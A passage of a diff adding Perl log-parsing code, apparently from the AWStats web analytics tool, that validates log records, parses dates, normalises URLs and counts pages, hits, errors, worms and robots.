$NbOfLinesParsed ) + . " (record starts with hex 00; binary code): $line\n"; + } + if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog + && $NbOfLinesParsed == $NbOfLinesCorrupted ) + { + error( "Format error", $line, $LogFile ); + } # Exit with format error + next; + } + # 20080525 END + + chomp $line; + $line =~ s/\r$//; + if ( $UpdateFor && $NbOfLinesParsed >= $UpdateFor ) { last; } + $NbOfLinesParsed++; + + $lastlineoffset = $lastlineoffsetnext; + $lastlineoffsetnext = tell LOG; + + if ($ShowSteps) { + if ( ( ++$NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) == 0 ) { + my $delay = &GetDelaySinceStart(0); + print "$NbOfLinesParsed lines processed (" + . ( $delay > 0 ? $delay : 1000 ) . " ms, " + . int( + 1000 * $NbOfLinesShowsteps / ( $delay > 0 ? $delay : 1000 ) + ) + . " lines/second)\n"; + } + } + + if ( $LogFormat eq '2' && $line =~ /^#Fields:/ ) { + my @fixField = map( /^#Fields: (.*)/, $line ); + if ( $fixField[0] !~ /s-kernel-time/ ) { + debug( "Found new log format: '" . $fixField[0] . "'", 1 ); + &DefinePerlParsingFormat( $fixField[0] ); + } + } + + # Parse line record to get all required fields + if ( !( @field = map( /$PerlParsingFormat/, $line ) ) ) { + # see if the line is a comment, blank or corrupted + if ( $line =~ /^#/ || $line =~ /^!/ ) { + $NbOfLinesComment++; + if ($ShowCorrupted){ + print "Comment record line " + . ( $lastlinenb + $NbOfLinesParsed ) + . ": $line\n"; + } + } + elsif ( $line =~ /^\s*$/ ) { + $NbOfLinesBlank++; + if ($ShowCorrupted){ + print "Blank record line " + . ( $lastlinenb + $NbOfLinesParsed ) + . "\n"; + } + }else{ + $NbOfLinesCorrupted++; + if ($ShowCorrupted){ + print "Corrupted record line " + . ( $lastlinenb + $NbOfLinesParsed ) + . " (record format does not match LogFormat parameter): $line\n"; + } + } + if ( $NbOfLinesParsed >= $NbOfLinesForCorruptedLog + && $NbOfLinesParsed == ($NbOfLinesCorrupted + $NbOfLinesComment + $NbOfLinesBlank)) + { + error( "Format error", $line, $LogFile ); + } # Exit with format error + if ( $line =~ /^__end_of_file__/i ) { last; } # For test purpose only + next; + } + + if ($Debug) { + my $string = ''; + foreach ( 0 .. @field - 1 ) { + $string .= "$fieldlib[$_]=$field[$_] "; + } + if ($Debug) { + debug( + " Correct format line " + . ( $lastlinenb + $NbOfLinesParsed ) + . ": $string", + 4 + ); + } + } + + # Drop wrong virtual host name + #---------------------------------------------------------------------- + if ( $pos_vh >= 0 && $field[$pos_vh] !~ /^$SiteDomain$/i ) { + my $skip = 1; + foreach (@HostAliases) { + if ( $field[$pos_vh] =~ /$_/ ) { $skip = 0; last; } + } + if ($skip) { + $NbOfLinesDropped++; + if ($ShowDropped) { + print +"Dropped record (virtual hostname '$field[$pos_vh]' does not match SiteDomain='$SiteDomain' nor HostAliases parameters): $line\n"; + } + next; + } + } + + # Drop wrong method/protocol + #--------------------------- + if ( $LogType ne 'M' ) { $field[$pos_url] =~ s/\s/%20/g; } + if ( $pos_method >= 0 ) { + if ( + $LogType eq 'W' + && ( + $field[$pos_method] eq 'GET' + || $field[$pos_method] eq 'POST' + || $field[$pos_method] eq 'HEAD' + || $field[$pos_method] eq 'PROPFIND' + || $field[$pos_method] eq 'CHECKOUT' + || $field[$pos_method] eq 'LOCK' + || $field[$pos_method] eq 'PROPPATCH' + || $field[$pos_method] eq 'OPTIONS' + || $field[$pos_method] eq 'MKACTIVITY' + || $field[$pos_method] eq 'PUT' + || $field[$pos_method] eq 'MERGE' + || $field[$pos_method] eq 'DELETE' + || $field[$pos_method] eq 'REPORT' + || $field[$pos_method] eq 'MKCOL' + || $field[$pos_method] eq 'COPY' + || $field[$pos_method] eq 'RPC_IN_DATA' + || $field[$pos_method] eq 'RPC_OUT_DATA' + || $field[$pos_method] eq 'OK' # Webstar + || $field[$pos_method] eq 'ERR!' # Webstar + || $field[$pos_method] eq 'PRIV' # Webstar + ) + ) + { + + # HTTP request. Keep only GET, POST, HEAD, *OK* and ERR! for Webstar. Do not keep OPTIONS, TRACE + } + elsif ( + ( $LogType eq 'W' || $LogType eq 'S' ) + && ( uc($field[$pos_method]) eq 'GET' + || uc($field[$pos_method]) eq 'MMS' + || uc($field[$pos_method]) eq 'RTSP' + || uc($field[$pos_method]) eq 'HTTP' + || uc($field[$pos_method]) eq 'RTP' ) + ) + { + + # Streaming request (windows media server, realmedia or darwin streaming server) + } + elsif ( $LogType eq 'M' && $field[$pos_method] eq 'SMTP' ) { + + # Mail request ('SMTP' for mail log with maillogconvert.pl preprocessor) + } + elsif ( + $LogType eq 'F' + && ( $field[$pos_method] eq 'RETR' + || $field[$pos_method] eq 'o' + || $field[$pos_method] =~ /$regget/o ) + ) + { + + # FTP GET request + } + elsif ( + $LogType eq 'F' + && ( $field[$pos_method] eq 'STOR' + || $field[$pos_method] eq 'i' + || $field[$pos_method] =~ /$regsent/o ) + ) + { + + # FTP SENT request + } + elsif($line =~ m/#Fields:/){ + # log #fields as comment + $NbOfLinesComment++; + next; + }else{ + $NbOfLinesDropped++; + if ($ShowDropped) { + print + "Dropped record (method/protocol '$field[$pos_method]' not qualified when LogType=$LogType): $line\n"; + } + next; + } + } + + $field[$pos_date] =~ + tr/,-\/ \tT/::::::/s; # " \t" is used instead of "\s" not known with tr + my @dateparts = + split( /:/, $field[$pos_date] ); # tr and split faster than @dateparts=split(/[\/\-:\s]/,$field[$pos_date]) + # Detected date format: + # dddddddddd, YYYY-MM-DD HH:MM:SS (IIS), MM/DD/YY\tHH:MM:SS, + # DD/Month/YYYY:HH:MM:SS (Apache), DD/MM/YYYY HH:MM:SS, Mon DD HH:MM:SS, + # YYYY-MM-DDTHH:MM:SS (iso) + if ( !$dateparts[1] ) { # Unix timestamp + ( + $dateparts[5], $dateparts[4], $dateparts[3], + $dateparts[0], $dateparts[1], $dateparts[2] + ) + = localtime( int( $field[$pos_date] ) ); + $dateparts[1]++; + $dateparts[2] += 1900; + } + elsif ( $dateparts[0] =~ /^....$/ ) { + my $tmp = $dateparts[0]; + $dateparts[0] = $dateparts[2]; + $dateparts[2] = $tmp; + } + elsif ( $field[$pos_date] =~ /^..:..:..:/ ) { + $dateparts[2] += 2000; + my $tmp = $dateparts[0]; + $dateparts[0] = $dateparts[1]; + $dateparts[1] = $tmp; + } + elsif ( $dateparts[0] =~ /^...$/ ) { + my $tmp = $dateparts[0]; + $dateparts[0] = $dateparts[1]; + $dateparts[1] = $tmp; + $tmp = $dateparts[5]; + $dateparts[5] = $dateparts[4]; + $dateparts[4] = $dateparts[3]; + $dateparts[3] = $dateparts[2]; + $dateparts[2] = $tmp || $nowyear; + } + if ( exists( $MonthNum{ $dateparts[1] } ) ) { + $dateparts[1] = $MonthNum{ $dateparts[1] }; + } # Change lib month in num month if necessary + if ( $dateparts[1] <= 0 ) + { # Date corrupted (for example $dateparts[1]='dic' for december month in a spanish log file) + $NbOfLinesCorrupted++; + if ($ShowCorrupted) { + print "Corrupted record line " + . ( $lastlinenb + $NbOfLinesParsed ) + . " (bad date format for month, may be month are not in english ?): $line\n"; + } + next; + } + +# Now @dateparts is (DD,MM,YYYY,HH,MM,SS) and we're going to create $timerecord=YYYYMMDDHHMMSS + if ( $PluginsLoaded{'ChangeTime'}{'timezone'} ) { + @dateparts = ChangeTime_timezone( \@dateparts ); + } + my $yearrecord = int( $dateparts[2] ); + my $monthrecord = int( $dateparts[1] ); + my $dayrecord = int( $dateparts[0] ); + my $hourrecord = int( $dateparts[3] ); + my $daterecord = ''; + if ( $DatabaseBreak eq 'month' ) { + $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord ); + } + elsif ( $DatabaseBreak eq 'year' ) { + $daterecord = sprintf( "%04i%", $yearrecord ); + } + elsif ( $DatabaseBreak eq 'day' ) { + $daterecord = + sprintf( "%04i%02i%02i", $yearrecord, $monthrecord, $dayrecord ); + } + elsif ( $DatabaseBreak eq 'hour' ) { + $daterecord = sprintf( "%04i%02i%02i%02i", + $yearrecord, $monthrecord, $dayrecord, $hourrecord ); + } + + # TODO essayer de virer yearmonthrecord + my $yearmonthdayrecord = + sprintf( "$dateparts[2]%02i%02i", $dateparts[1], $dateparts[0] ); + my $timerecord = + ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 + + $dateparts[4] ) * 100 + $dateparts[5]; + + # Check date + #----------------------- + if ( $LogType eq 'M' && $timerecord > $tomorrowtime ) { + +# Postfix/Sendmail does not store year, so we assume that year is year-1 if record is in future + $yearrecord--; + if ( $DatabaseBreak eq 'month' ) { + $daterecord = sprintf( "%04i%02i", $yearrecord, $monthrecord ); + } + elsif ( $DatabaseBreak eq 'year' ) { + $daterecord = sprintf( "%04i%", $yearrecord ); + } + elsif ( $DatabaseBreak eq 'day' ) { + $daterecord = sprintf( "%04i%02i%02i", + $yearrecord, $monthrecord, $dayrecord ); + } + elsif ( $DatabaseBreak eq 'hour' ) { + $daterecord = sprintf( "%04i%02i%02i%02i", + $yearrecord, $monthrecord, $dayrecord, $hourrecord ); + } + + # TODO essayer de virer yearmonthrecord + $yearmonthdayrecord = + sprintf( "$yearrecord%02i%02i", $dateparts[1], $dateparts[0] ); + $timerecord = + ( ( int("$yearmonthdayrecord") * 100 + $dateparts[3] ) * 100 + + $dateparts[4] ) * 100 + $dateparts[5]; + } + if ( $timerecord < 10000000000000 || $timerecord > $tomorrowtime ) { + $NbOfLinesCorrupted++; + if ($ShowCorrupted) { + print +"Corrupted record (invalid date, timerecord=$timerecord): $line\n"; + } + next; # Should not happen, kept in case of parasite/corrupted line + } + if ($NewLinePhase) { + + # TODO NOTSORTEDRECORDTOLERANCE does not work around midnight + if ( $timerecord < ( $LastLine - $NOTSORTEDRECORDTOLERANCE ) ) { + + # Should not happen, kept in case of parasite/corrupted old line + $NbOfLinesCorrupted++; + if ($ShowCorrupted) { + print +"Corrupted record (date $timerecord lower than $LastLine-$NOTSORTEDRECORDTOLERANCE): $line\n"; + } + next; + } + } + else { + if ( $timerecord <= $LastLine ) { # Already processed + $NbOfOldLines++; + next; + } + +# We found a new line. This will replace comparison "<=" with "<" between timerecord and LastLine (we should have only new lines now) + $NewLinePhase = 1; # We will never enter here again + if ($ShowSteps) { + if ( $NbOfLinesShowsteps > 1 + && ( $NbOfLinesShowsteps & $NBOFLINESFORBENCHMARK ) ) + { + my $delay = &GetDelaySinceStart(0); + print "" + . ( $NbOfLinesParsed - 1 ) + . " lines processed (" + . ( $delay > 0 ? $delay : 1000 ) . " ms, " + . int( 1000 * ( $NbOfLinesShowsteps - 1 ) / + ( $delay > 0 ? $delay : 1000 ) ) + . " lines/second)\n"; + } + &GetDelaySinceStart(1); + $NbOfLinesShowsteps = 1; + } + if ( !scalar keys %HTMLOutput ) { + print +"Phase 2 : Now process new records (Flush history on disk after " + . ( $LIMITFLUSH << 2 ) + . " hosts)...\n"; + +#print "Phase 2 : Now process new records (Flush history on disk after ".($LIMITFLUSH<<2)." hosts or ".($LIMITFLUSH)." URLs)...\n"; + } + } + + # Convert URL for Webstar to common URL + if ( $LogFormat eq '3' ) { + $field[$pos_url] =~ s/:/\//g; + if ( $field[$pos_code] eq '-' ) { $field[$pos_code] = '200'; } + } + +# Here, field array, timerecord and yearmonthdayrecord are initialized for log record + if ($Debug) { + debug( " This is a not already processed record ($timerecord)", + 4 ); + } + + # We found a new line + #---------------------------------------- + if ( $timerecord > $LastLine ) { + $LastLine = $timerecord; + } # Test should always be true except with not sorted log files + + # Skip for some client host IP addresses, some URLs, other URLs + if ( + @SkipHosts + && ( &SkipHost( $field[$pos_host] ) + || ( $pos_hostr && &SkipHost( $field[$pos_hostr] ) ) ) + ) + { + $qualifdrop = + "Dropped record (host $field[$pos_host]" + . ( $pos_hostr ? " and $field[$pos_hostr]" : "" ) + . " not qualified by SkipHosts)"; + } + elsif ( @SkipFiles && &SkipFile( $field[$pos_url] ) ) { + $qualifdrop = +"Dropped record (URL $field[$pos_url] not qualified by SkipFiles)"; + } + elsif (@SkipUserAgents + && $pos_agent >= 0 + && &SkipUserAgent( $field[$pos_agent] ) ) + { + $qualifdrop = +"Dropped record (user agent '$field[$pos_agent]' not qualified by SkipUserAgents)"; + } + elsif (@SkipReferrers + && $pos_referer >= 0 + && &SkipReferrer( $field[$pos_referer] ) ) + { + $qualifdrop = +"Dropped record (URL $field[$pos_referer] not qualified by SkipReferrers)"; + } + elsif (@OnlyHosts + && !&OnlyHost( $field[$pos_host] ) + && ( !$pos_hostr || !&OnlyHost( $field[$pos_hostr] ) ) ) + { + $qualifdrop = + "Dropped record (host $field[$pos_host]" + . ( $pos_hostr ? " and $field[$pos_hostr]" : "" ) + . " not qualified by OnlyHosts)"; + } + elsif ( @OnlyUsers && !&OnlyUser( $field[$pos_logname] ) ) { + $qualifdrop = +"Dropped record (URL $field[$pos_logname] not qualified by OnlyUsers)"; + } + elsif ( @OnlyFiles && !&OnlyFile( $field[$pos_url] ) ) { + $qualifdrop = +"Dropped record (URL $field[$pos_url] not qualified by OnlyFiles)"; + } + elsif ( @OnlyUserAgents && !&OnlyUserAgent( $field[$pos_agent] ) ) { + $qualifdrop = +"Dropped record (user agent '$field[$pos_agent]' not qualified by OnlyUserAgents)"; + } + if ($qualifdrop) { + $NbOfLinesDropped++; + if ($Debug) { debug( "$qualifdrop: $line", 4 ); } + if ($ShowDropped) { print "$qualifdrop: $line\n"; } + $qualifdrop = ''; + next; + } + + # Record is approved + #------------------- + + # Is it in a new break section ? + #------------------------------- + if ( $daterecord > $lastprocesseddate ) { + + # A new break to process + if ( $lastprocesseddate > 0 ) { + + # We save data of previous break + &Read_History_With_TmpUpdate( + $lastprocessedyear, $lastprocessedmonth, + $lastprocessedday, $lastprocessedhour, + 1, 1, + "all", ( $lastlinenb + $NbOfLinesParsed ), + $lastlineoffset, &CheckSum($line) + ); + $counterforflushtest = 0; # We reset counterforflushtest + } + $lastprocessedyear = $yearrecord; + $lastprocessedmonth = $monthrecord; + $lastprocessedday = $dayrecord; + $lastprocessedhour = $hourrecord; + if ( $DatabaseBreak eq 'month' ) { + $lastprocesseddate = + sprintf( "%04i%02i", $yearrecord, $monthrecord ); + } + elsif ( $DatabaseBreak eq 'year' ) { + $lastprocesseddate = sprintf( "%04i%", $yearrecord ); + } + elsif ( $DatabaseBreak eq 'day' ) { + $lastprocesseddate = sprintf( "%04i%02i%02i", + $yearrecord, $monthrecord, $dayrecord ); + } + elsif ( $DatabaseBreak eq 'hour' ) { + $lastprocesseddate = sprintf( "%04i%02i%02i%02i", + $yearrecord, $monthrecord, $dayrecord, $hourrecord ); + } + } + + $countedtraffic = 0; + $NbOfNewLines++; + + # Convert $field[$pos_size] + # if ($field[$pos_size] eq '-') { $field[$pos_size]=0; } + + # Define a clean target URL and referrer URL + # We keep a clean $field[$pos_url] and + # we store original value for urlwithnoquery, tokenquery and standalonequery + #--------------------------------------------------------------------------- + if ($URLNotCaseSensitive) { $field[$pos_url] = lc( $field[$pos_url] ); } + +# Possible URL syntax for $field[$pos_url]: /mydir/mypage.ext?param1=x¶m2=y#aaa, /mydir/mypage.ext#aaa, / + my $urlwithnoquery; + my $tokenquery; + my $standalonequery; + my $anchor = ''; + if ( $field[$pos_url] =~ s/$regtruncanchor//o ) { + $anchor = $1; + } # Remove and save anchor + if ($URLWithQuery) { + $urlwithnoquery = $field[$pos_url]; + my $foundparam = ( $urlwithnoquery =~ s/$regtruncurl//o ); + $tokenquery = $1 || ''; + $standalonequery = $2 || ''; + +# For IIS setup, if pos_query is enabled we need to combine the URL to query strings + if ( !$foundparam + && $pos_query >= 0 + && $field[$pos_query] + && $field[$pos_query] ne '-' ) + { + $foundparam = 1; + $tokenquery = '?'; + $standalonequery = $field[$pos_query]; + + # Define query + $field[$pos_url] .= '?' . $field[$pos_query]; + } + if ($foundparam) { + + # Keep only params that are defined in URLWithQueryWithOnlyFollowingParameters + my $newstandalonequery = ''; + if (@URLWithQueryWithOnly) { + foreach (@URLWithQueryWithOnly) { + foreach my $p ( split( /&/, $standalonequery ) ) { + if ($URLNotCaseSensitive) { + if ( $p =~ /^$_=/i ) { + $newstandalonequery .= "$p&"; + last; + } + } + else { + if ( $p =~ /^$_=/ ) { + $newstandalonequery .= "$p&"; + last; + } + } + } + } + chop $newstandalonequery; + } + +# Remove params that are marked to be ignored in URLWithQueryWithoutFollowingParameters + elsif (@URLWithQueryWithout) { + foreach my $p ( split( /&/, $standalonequery ) ) { + my $found = 0; + foreach (@URLWithQueryWithout) { + +#if ($Debug) { debug(" Check if '$_=' is param '$p' to remove it from query",5); } + if ($URLNotCaseSensitive) { + if ( $p =~ /^$_=/i ) { $found = 1; last; } + } + else { + if ( $p =~ /^$_=/ ) { $found = 1; last; } + } + } + if ( !$found ) { $newstandalonequery .= "$p&"; } + } + chop $newstandalonequery; + } + else { $newstandalonequery = $standalonequery; } + + # Define query + $field[$pos_url] = $urlwithnoquery; + if ($newstandalonequery) { + $field[$pos_url] .= "$tokenquery$newstandalonequery"; + } + } + } + else { + + # Trunc parameters of URL + $field[$pos_url] =~ s/$regtruncurl//o; + $urlwithnoquery = $field[$pos_url]; + $tokenquery = $1 || ''; + $standalonequery = $2 || ''; + + # For IIS setup, if pos_query is enabled we need to use it for query strings + if ( $pos_query >= 0 + && $field[$pos_query] + && $field[$pos_query] ne '-' ) + { + $tokenquery = '?'; + $standalonequery = $field[$pos_query]; + } + } + if ( $URLWithAnchor && $anchor ) { + $field[$pos_url] .= "#$anchor"; + } # Restore anchor + # Here now urlwithnoquery is /mydir/mypage.ext, /mydir, /, /page#XXX + # Here now tokenquery is '' or '?' or ';' + # Here now standalonequery is '' or 'param1=x' + + # Define page and extension + #-------------------------- + my $PageBool = 1; + + # Extension + my $extension = Get_Extension($regext, $urlwithnoquery); + if ( $NotPageList{$extension} || + ($MimeHashLib{$extension}[1]) && $MimeHashLib{$extension}[1] ne 'p') { $PageBool = 0;} + if ( @NotPageFiles && &NotPageFile( $field[$pos_url] ) ) { $PageBool = 0; } + + # Analyze: misc tracker (must be before return code) + #--------------------------------------------------- + if ( $urlwithnoquery =~ /$regmisc/o ) { + if ($Debug) { + debug( +" Found an URL that is a MiscTracker record with standalonequery=$standalonequery", + 2 + ); + } + my $foundparam = 0; + foreach ( split( /&/, $standalonequery ) ) { + if ( $_ =~ /^screen=(\d+)x(\d+)/i ) { + $foundparam++; + $_screensize_h{"$1x$2"}++; + next; + } + + #if ($_ =~ /cdi=(\d+)/i) { $foundparam++; $_screendepth_h{"$1"}++; next; } + if ( $_ =~ /^nojs=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { $_misc_h{"JavascriptDisabled"}++; } + next; + } + if ( $_ =~ /^java=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'true' ) { $_misc_h{"JavaEnabled"}++; } + next; + } + if ( $_ =~ /^shk=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { $_misc_h{"DirectorSupport"}++; } + next; + } + if ( $_ =~ /^fla=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { $_misc_h{"FlashSupport"}++; } + next; + } + if ( $_ =~ /^rp=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { $_misc_h{"RealPlayerSupport"}++; } + next; + } + if ( $_ =~ /^mov=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { $_misc_h{"QuickTimeSupport"}++; } + next; + } + if ( $_ =~ /^wma=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { + $_misc_h{"WindowsMediaPlayerSupport"}++; + } + next; + } + if ( $_ =~ /^pdf=(\w+)/i ) { + $foundparam++; + if ( $1 eq 'y' ) { $_misc_h{"PDFSupport"}++; } + next; + } + } + if ($foundparam) { $_misc_h{"TotalMisc"}++; } + } + + # Analyze: successful favicon (=> countedtraffic=1 if favicon) + #-------------------------------------------------- + if ( $urlwithnoquery =~ /$regfavico/o ) { + if ( $field[$pos_code] != 404 ) { + $_misc_h{'AddToFavourites'}++; + } + $countedtraffic = + 1; # favicon is a case that must not be counted anywhere else + $_time_nv_h[$hourrecord]++; + if ( $field[$pos_code] != 404 && $pos_size>0) { + $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); + } + } + + # Analyze: Worms (=> countedtraffic=2 if worm) + #--------------------------------------------- + if ( !$countedtraffic ) { + if ($LevelForWormsDetection) { + foreach (@WormsSearchIDOrder) { + if ( $field[$pos_url] =~ /$_/ ) { + + # It's a worm + my $worm = &UnCompileRegex($_); + if ($Debug) { + debug( +" Record is a hit from a worm identified by '$worm'", + 2 + ); + } + $worm = $WormsHashID{$worm} || 'unknown'; + $_worm_h{$worm}++; + if ($pos_size>0){$_worm_k{$worm} += int( $field[$pos_size] );} + $_worm_l{$worm} = $timerecord; + $countedtraffic = 2; + if ($PageBool) { $_time_nv_p[$hourrecord]++; } + $_time_nv_h[$hourrecord]++; + if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} + last; + } + } + } + } + + # Analyze: Status code (=> countedtraffic=3 if error) + #---------------------------------------------------- + if ( $pos_code >= 0) { + if ( !$countedtraffic ) { + if ( $LogType eq 'W' || $LogType eq 'S' ) + { # HTTP record or Stream record + if ( $ValidHTTPCodes{ $field[$pos_code] } ) { # Code is valid + if ( int($field[$pos_code]) == 304 && $pos_size>0) { $field[$pos_size] = 0; } + # track downloads + if (int($field[$pos_code]) == 200 && $MimeHashLib{$extension}[1] eq 'd' && $urlwithnoquery !~ /robots.txt$/ ) # We track download if $MimeHashLib{$extension}[1] = 'd' + { + $_downloads{$urlwithnoquery}->{'AWSTATS_HITS'}++; + $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0); + if ($Debug) { debug( " New download detected: '$urlwithnoquery'", 2 ); } + } + # handle 206 download continuation message IF we had a successful 200 before, otherwise it goes in errors + }elsif(int($field[$pos_code]) == 206 + #&& $_downloads{$urlwithnoquery}->{$field[$pos_host]}[0] > 0 + && ($MimeHashLib{$extension}[1] eq 'd')){ + $_downloads{$urlwithnoquery}->{'AWSTATS_SIZE'} += ($pos_size>0 ? int($field[$pos_size]) : 0); + $_downloads{$urlwithnoquery}->{'AWSTATS_206'}++; + #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[1] = $timerecord; + if ($pos_size>0){ + #$_downloads{$urlwithnoquery}->{$field[$pos_host]}[2] = int($field[$pos_size]); + $DayBytes{$yearmonthdayrecord} += int($field[$pos_size]); + $_time_k[$hourrecord] += int($field[$pos_size]); + } + $countedtraffic = 6; # 206 continued download, so we track bandwidth but not pages or hits + if ($Debug) { debug( " Download continuation detected: '$urlwithnoquery'", 2 ); } + }else { # Code is not valid + if ( $field[$pos_code] !~ /^\d\d\d$/ ) { + $field[$pos_code] = 999; + } + $_errors_h{ $field[$pos_code] }++; + if ($pos_size>0){$_errors_k{ $field[$pos_code] } += int( $field[$pos_size] );} + foreach my $code ( keys %TrapInfosForHTTPErrorCodes ) { + if ( $field[$pos_code] == $code ) { + + # This is an error code which referrer need to be tracked + my $newurl = + substr( $field[$pos_url], 0, + $MaxLengthOfStoredURL ); + $newurl =~ s/[$URLQuerySeparators].*$//; + $_sider404_h{$newurl}++; + if ( $pos_referer >= 0 ) { + my $newreferer = $field[$pos_referer]; + if ( !$URLReferrerWithQuery ) { + $newreferer =~ s/[$URLQuerySeparators].*$//; + } + $_referer404_h{$newurl} = $newreferer; + last; + } + } + } + if ($Debug) { + debug( + " Record stored in the status code chart (status code=$field[$pos_code])", + 3 + ); + } + $countedtraffic = 3; + if ($PageBool) { $_time_nv_p[$hourrecord]++; } + $_time_nv_h[$hourrecord]++; + if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} + } + } + elsif ( $LogType eq 'M' ) { # Mail record + if ( !$ValidSMTPCodes{ $field[$pos_code] } ) + { # Code is not valid + $_errors_h{ $field[$pos_code] }++; + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_errors_k{ $field[$pos_code] } += + int( $field[$pos_size] ); + } + if ($Debug) { + debug( + " Record stored in the status code chart (status code=$field[$pos_code])", + 3 + ); + } + $countedtraffic = 3; + if ($PageBool) { $_time_nv_p[$hourrecord]++; } + $_time_nv_h[$hourrecord]++; + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_time_nv_k[$hourrecord] += int( $field[$pos_size] ); + } + } + } + elsif ( $LogType eq 'F' ) { # FTP record + } + } + } + + # Analyze: Robot from robot database (=> countedtraffic=4 if robot) + #------------------------------------------------------------------ + if ( !$countedtraffic ) { + if ( $pos_agent >= 0 ) { + if ($DecodeUA) { + $field[$pos_agent] =~ s/%20/_/g; + } # This is to support servers (like Roxen) that writes user agent with %20 in it + $UserAgent = $field[$pos_agent]; + if ( $UserAgent && $UserAgent eq '-' ) { $UserAgent = ''; } + + if ($LevelForRobotsDetection) { + + if ($UserAgent) { + my $uarobot = $TmpRobot{$UserAgent}; + if ( !$uarobot ) { + + #study $UserAgent; Does not increase speed + foreach (@RobotsSearchIDOrder) { + if ( $UserAgent =~ /$_/ ) { + my $bot = &UnCompileRegex($_); + $TmpRobot{$UserAgent} = $uarobot = "$bot" + ; # Last time, we won't search if robot or not. We know it is. + if ($Debug) { + debug( +" UserAgent '$UserAgent' is added to TmpRobot with value '$bot'", + 2 + ); + } + last; + } + } + if ( !$uarobot ) + { # Last time, we won't search if robot or not. We know it's not. + $TmpRobot{$UserAgent} = $uarobot = '-'; + } + } + if ( $uarobot ne '-' ) { + + # If robot, we stop here + if ($Debug) { + debug( +" UserAgent '$UserAgent' contains robot ID '$uarobot'", + 2 + ); + } + $_robot_h{$uarobot}++; + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_robot_k{$uarobot} += int( $field[$pos_size] ); + } + $_robot_l{$uarobot} = $timerecord; + if ( $urlwithnoquery =~ /$regrobot/o ) { + $_robot_r{$uarobot}++; + } + $countedtraffic = 4; + if ($PageBool) { $_time_nv_p[$hourrecord]++; } + $_time_nv_h[$hourrecord]++; + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_time_nv_k[$hourrecord] += + int( $field[$pos_size] ); + } + } + } + else { + my $uarobot = 'no_user_agent'; + + # It's a robot or at least a bad browser, we stop here + if ($Debug) { + debug( +" UserAgent not defined so it should be a robot, saved as robot 'no_user_agent'", + 2 + ); + } + $_robot_h{$uarobot}++; + if ($pos_size>0){$_robot_k{$uarobot} += int( $field[$pos_size] );} + $_robot_l{$uarobot} = $timerecord; + if ( $urlwithnoquery =~ /$regrobot/o ) { + $_robot_r{$uarobot}++; + } + $countedtraffic = 4; + if ($PageBool) { $_time_nv_p[$hourrecord]++; } + $_time_nv_h[$hourrecord]++; + if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} + } + } + } + } + + # Analyze: Robot from "hit on robots.txt" file (=> countedtraffic=5 if robot) + # ------------------------------------------------------------------------- + if ( !$countedtraffic ) { + if ( $urlwithnoquery =~ /$regrobot/o ) { + if ($Debug) { debug( " It's an unknown robot", 2 ); } + $_robot_h{'unknown'}++; + if ($pos_size>0){$_robot_k{'unknown'} += int( $field[$pos_size] );} + $_robot_l{'unknown'} = $timerecord; + $_robot_r{'unknown'}++; + $countedtraffic = 5; # Must not be counted somewhere else + if ($PageBool) { $_time_nv_p[$hourrecord]++; } + $_time_nv_h[$hourrecord]++; + if ($pos_size>0){$_time_nv_k[$hourrecord] += int( $field[$pos_size] );} + } + } + + # Analyze: File type - Compression + #--------------------------------- + if ( !$countedtraffic || $countedtraffic == 6) { + if ($LevelForFileTypesDetection) { + if ($countedtraffic != 6){$_filetypes_h{$extension}++;} + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_filetypes_k{$extension} += int( $field[$pos_size] ); + } + + # Compression + if ( $pos_gzipin >= 0 && $field[$pos_gzipin] ) + { # If in and out in log + my ( $notused, $in ) = split( /:/, $field[$pos_gzipin] ); + my ( $notused1, $out, $notused2 ) = + split( /:/, $field[$pos_gzipout] ); + if ($out) { + $_filetypes_gz_in{$extension} += $in; + $_filetypes_gz_out{$extension} += $out; + } + } + elsif ( $pos_compratio >= 0 + && ( $field[$pos_compratio] =~ /(\d+)/ ) ) + { # Calculate in/out size from percentage + if ( $fieldlib[$pos_compratio] eq 'gzipratio' ) { + + # with mod_gzip: % is size (before-after)/before (low for jpg) ?????????? + $_filetypes_gz_in{$extension} += + int( + $field[$pos_size] * 100 / ( ( 100 - $1 ) || 1 ) ); + } + else { + + # with mod_deflate: % is size after/before (high for jpg) + $_filetypes_gz_in{$extension} += + int( $field[$pos_size] * 100 / ( $1 || 1 ) ); + } + if ($pos_size>0){$_filetypes_gz_out{$extension} += int( $field[$pos_size] );} + } + } + + # Analyze: Date - Hour - Pages - Hits - Kilo + #------------------------------------------- + if ($PageBool) { + +# Replace default page name with / only ('if' is to increase speed when only 1 value in @DefaultFile) + if ( @DefaultFile > 1 ) { + foreach my $elem (@DefaultFile) { + if ( $field[$pos_url] =~ s/\/$elem$/\// ) { last; } + } + } + else { $field[$pos_url] =~ s/$regdefault/\//o; } + +# FirstTime and LastTime are First and Last human visits (so changed if access to a page) + $FirstTime{$lastprocesseddate} ||= $timerecord; + $LastTime{$lastprocesseddate} = $timerecord; + $DayPages{$yearmonthdayrecord}++; + $_url_p{ $field[$pos_url] }++; #Count accesses for page (page) + if ( $field[$pos_size] ne '-' && $pos_size>0) { + $_url_k{ $field[$pos_url] } += int( $field[$pos_size] ); + } + $_time_p[$hourrecord]++; #Count accesses for hour (page) + # TODO Use an id for hash key of url + # $_url_t{$_url_id} + } + if ($countedtraffic != 6){$_time_h[$hourrecord]++;} + 